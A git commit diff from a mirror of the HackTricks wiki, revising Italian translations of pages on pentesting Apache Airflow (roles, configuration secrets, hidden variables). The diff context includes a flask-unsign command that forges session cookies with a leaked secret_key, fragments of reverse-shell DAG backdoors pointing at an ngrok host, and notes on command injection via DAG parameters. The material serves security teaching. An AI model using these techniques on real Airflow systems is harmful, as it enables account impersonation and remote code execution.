mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 07:11:47 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -34,7 +34,7 @@ Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione
|
||||
airflow-configuration.md
|
||||
{{#endref}}
|
||||
|
||||
### RBAC di Airflow
|
||||
### Airflow RBAC
|
||||
|
||||
Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:
|
||||
|
||||
@@ -55,28 +55,28 @@ Se hai **accesso alla console web**, potresti essere in grado di accedere ad alc
|
||||
- Elenca **utenti e ruoli**
|
||||
- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)
|
||||
|
||||
#### Recupera i Valori delle Variabili
|
||||
#### Recupero dei Valori delle Variabili
|
||||
|
||||
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nella GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nella **GUI**.
|
||||
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http://<airflow>/variable/list/`.\
|
||||
Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**.
|
||||
|
||||
.png>)
|
||||
|
||||
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), esecuzione di **DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche la GUI stessa!**\
|
||||
Per accedere a quei valori dalla GUI, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
|
||||
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\
|
||||
Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
|
||||
Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Escalation dei Privilegi
|
||||
|
||||
Se la configurazione **`expose_config`** è impostata su **True**, da **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
|
||||
Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
Se hai **accesso in scrittura** al luogo in cui i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
|
||||
Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
|
||||
Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
|
||||
```python
|
||||
import pendulum
|
||||
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
```
|
||||
#### DAG Backdoor (RCE nel scheduler di Airflow)
|
||||
|
||||
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione all'interno della cartella del DAG.
|
||||
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
@@ -152,7 +152,7 @@ Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
|
||||
Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
|
||||
Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che **i parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
|
||||
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
|
||||
```python
|
||||
@@ -160,6 +160,6 @@ from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi.
|
||||
Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,15 +20,15 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
|
||||
- **`access_control_allow_headers`**: Questo indica gli **header** **consentiti** per **CORS**
|
||||
- **`access_control_allow_methods`**: Questo indica i **metodi consentiti** per **CORS**
|
||||
- **`access_control_allow_origins`**: Questo indica le **origini consentite** per **CORS**
|
||||
- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) ci sono alcune opzioni che possono essere impostate per configurare chi può accedere all'API:
|
||||
- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) alcune opzioni possono essere in atto per configurare chi può accedere all'API:
|
||||
- `airflow.api.auth.backend.deny_all`: **Per impostazione predefinita nessuno** può accedere all'API
|
||||
- `airflow.api.auth.backend.default`: **Tutti possono** accedervi senza autenticazione
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Per configurare **l'autenticazione kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Per **l'autenticazione di base**
|
||||
- `airflow.composer.api.backend.composer_auth`: Utilizza l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `airflow.composer.api.backend.composer_auth`: Usa l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Questo indica il **ruolo** che l'**utente compositore** avrà all'interno di **airflow** (**Op** per impostazione predefinita).
|
||||
- Puoi anche **creare il tuo metodo di autenticazione** con python.
|
||||
- **`google_key_path`:** Percorso alla **chiave del servizio GCP**
|
||||
- **`google_key_path`:** Percorso alla **chiave dell'account di servizio GCP**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
@@ -38,7 +38,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credenziali (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: URL Postgres che potrebbe contenere **credenziali**.
|
||||
- **`result_backend`**: URL Postgres che può contenere **credenziali**.
|
||||
- **`ssl_cacert`**: Percorso al cacert
|
||||
- **`ssl_cert`**: Percorso al certificato
|
||||
- **`ssl_key`**: Percorso alla chiave
|
||||
@@ -63,7 +63,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Percorso alle credenziali JSON di GCP.
|
||||
- **`google_key_path`**: Percorso alle credenziali JSON GCP.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
@@ -80,7 +80,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
|
||||
- **`cookie_samesite`**: Per impostazione predefinita è **Lax**, quindi è già il valore più debole possibile
|
||||
- **`cookie_secure`**: Imposta il **flag sicuro** sul cookie di sessione
|
||||
- **`expose_config`**: Per impostazione predefinita è False, se vero, la **configurazione** può essere **letta** dalla **console** web
|
||||
- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce python** (potenzialmente utili per un attaccante)
|
||||
- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce di python** (potenzialmente utili per un attaccante)
|
||||
- **`secret_key`**: Questa è la **chiave utilizzata da flask per firmare i cookie** (se hai questo puoi **impersonare qualsiasi utente in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Percorso** al **certificato** **SSL**
|
||||
- **`web_server_ssl_key`**: **Percorso** alla **chiave** **SSL**
|
||||
@@ -92,7 +92,7 @@ Per impostazione predefinita, **l'autenticazione web** è specificata nel file *
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
Il che significa che **l'autenticazione viene controllata rispetto al database**. Tuttavia, sono possibili altre configurazioni come
|
||||
Ciò significa che **l'autenticazione viene verificata rispetto al database**. Tuttavia, sono possibili altre configurazioni come
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **insieme di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli.
|
||||
(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **set di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli.
|
||||
|
||||
- **`Admin`** gli utenti hanno tutti i permessi possibili.
|
||||
- **`Public`** gli utenti (anonimi) non hanno alcun permesso.
|
||||
- **`Viewer`** gli utenti hanno permessi di visualizzazione limitati (solo lettura). Non **può vedere la configurazione.**
|
||||
- **`User`** gli utenti hanno permessi di `Viewer` più permessi aggiuntivi che gli consentono di gestire un po' i DAG. Può **vedere il file di configurazione.**
|
||||
- **`Op`** gli utenti hanno permessi di `User` più permessi aggiuntivi di op.
|
||||
- **Gli utenti `Admin`** hanno tutti i permessi possibili.
|
||||
- **Gli utenti `Public`** (anonimi) non hanno alcun permesso.
|
||||
- **Gli utenti `Viewer`** hanno permessi di visualizzazione limitati (solo lettura). Non **possono vedere la configurazione.**
|
||||
- **Gli utenti `User`** hanno permessi di `Viewer` più permessi aggiuntivi che consentono di gestire i DAG in parte. Possono **vedere il file di configurazione.**
|
||||
- **Gli utenti `Op`** hanno permessi di `User` più permessi aggiuntivi di op.
|
||||
|
||||
Nota che gli utenti **admin** possono **creare più ruoli** con permessi **più granulari**.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user